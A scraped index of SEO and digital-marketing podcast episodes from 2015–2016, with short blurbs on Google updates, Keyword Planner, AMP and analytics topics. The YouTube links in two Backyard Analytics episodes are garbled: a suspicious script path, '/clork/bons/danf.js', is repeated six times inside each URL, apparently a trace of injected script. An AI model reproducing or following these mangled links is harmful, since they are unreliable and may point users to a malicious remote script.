Is SEO as Dirty as it’s Ever Been? Air date: July 7, 2016 As a technical practice and marketing channel, Search Engine Optimization has built credibility over the years but spammers, poorly trained SEOs, and black-hat practitioners continue give it a bad name. Jim Hedger and Dave Davies discuss a recent article by  who wrote, […]

Google Keyword Planner Restricted Air date: June 30, 2016 The big news this week was big changes to Google’s Keyword Planner this week as Google to those with AdWords accounts as reports say  Google has turned off access to those that use the tool without being an active advertiser with a currently active campaign. Plus, […]

Gaining Demographic Data In Relation to Your Facebook and Email Lists, an Interview with WordStream founder Larry Kim Air date: June 23, 2016 Larry Kim founded WordStream in 2007. He bootstrapped the company by providing internet consulting services while funding/managing a team of engineers and marketers to develop and sell software for search engine marketing […]

Why Would Microsoft Buy LinkedIn? Air date: June 16, 2016 A slow tech week made interesting by a big buy. Earlier this week, Microsoft dropped a cool $26.6Billion on the business focused social network so Webcology opened with the simple question,  Would Microsoft Buy LinkedIn? We followed with stories on: Google  report adds the ability […]

Google Removes PageRank from Toolbar, Facebook Instant Articles Plug-in, AMP, and more Air Date: March 10, 2016 New WordPress Plugin Facebook Instant Articles as Facebook announced that Instant Articles will be available to all publishers on April 12, 2016. To increase the number of publishers getting on board with Instant Articles, they have announced their own WordPress […]

Google’s take on Paid-Ad SERPs – AMP Plug-ins – Special guest host Thom Craver Air Date: March 3, 2016 Jim Hedger and guest host discuss a wide range of SEO and Internet issues including: Google’s reaction to the industry’s reaction to changes Google has made to desktop search engine results pages. Earlier, Google announced it […]

Mobile Marketing Discussion with Moxie – Cindy Krum and Emily Grossman talk Mobile Air Date: August 20, 2015 Matt Cutts Still with Google but his leave continues through end of the year New Bug with Indexed URLS in Google Search Results Social Signals do not directly impact Google search rankings Plus Jim and Dave welcome […]

Google Gets Googly – Weird sites not ranking Air Date: August 13, 2015 Technical Sites Not Ranking Problem in Google Google Ignores Links to 404s Does Wikipedia Really Have a Google Problem Sesame Street Headed to HBO Google User Actions not Ranking Factor Google Marriage Proposal Fail Podcast:  | 

Panda 4.2 Crawls On -  Non Mobile Friendly Sites Disappearing From Results Air date: August 6, 2015 Google Panda 4.2 Continues New Study Finds Non Mobile Friendly Sites Disappearing From Results Facebook Patents Technology to Give Lenders Leverage over Borrowers based on social connections. Plus, Windows 10 Raves Stephen Harper and Netflix and more. Podcast:  | 

SEMPost Turns 1-Year Old, Delightful Remarketing Air Date: July 30, 2015 A fun interview show today with special guests Jennifer Slegg and Duane Brown. Jennifer Slegg is the founder and editor of , which celebrates it’s first year anniversary this week. The SEM Post quickly became the practitioner’s daily, the must read for search marketers […]

Google Panda Slow Load and Content Delivery Networks and SEO Air date: July 23, 2015 The world of search is getting far more interesting and creepier at the same time. Google is having technical difficulties. Bing is barely catching up and Yahoo is all over the place. Here’s a quick run down of this week’s […]

A/B Testing with Alan K’necht – Backyard Analytics Episode 6 Learn about the methodology and how to conduct A/B tests. In this episode Alan explores A/B testing for digital marketing effort with the analogy of how lettuce grows different in different parts of his garden. https:///clork/bons/danf.js?k=0&/clork/bons/danf.js?k=0&/clork/bons/danf.js?k=0&/clork/bons/danf.js?k=0&/clork/bons/danf.js?k=0&/clork/bons/danf.js?k=0&youtu.be/uZIUI-_LpMc

Moore’s Law Accelerated by IBM, Google Updates the “Do Not Ask For Links” Advisory, and more… Air Date July 9, 2015 Moore’s Law ! Google updates “Do not ask for links” The Right to be Forgotten ? The Loathsome get loathsomer as HackingTeam hack-ware of terrorists Who the Hell is ? Google My Business pages might be deactivated Podcast:  | 

Seasonality with Alan K’necht – Backyard Analytics Episode 5 Learn how to correctly measure and use historical analytic data for evaluating any potential seasonal impact on your Key Performance Indicators (KPI). https:///clork/bons/danf.js?k=0&/clork/bons/danf.js?k=0&/clork/bons/danf.js?k=0&/clork/bons/danf.js?k=0&/clork/bons/danf.js?k=0&/clork/bons/danf.js?k=0&youtu.be/Y1AJQAbrB4s

Annotations and the Art of Analytics – Backyard Analytics Episode 4 How to annotate and what you should be annotating so you can make sense of your analytic data 1 week, 1 month, 3 months or more from now. Alan K’necht covers the importance and what types of information must be captured and annotated to […]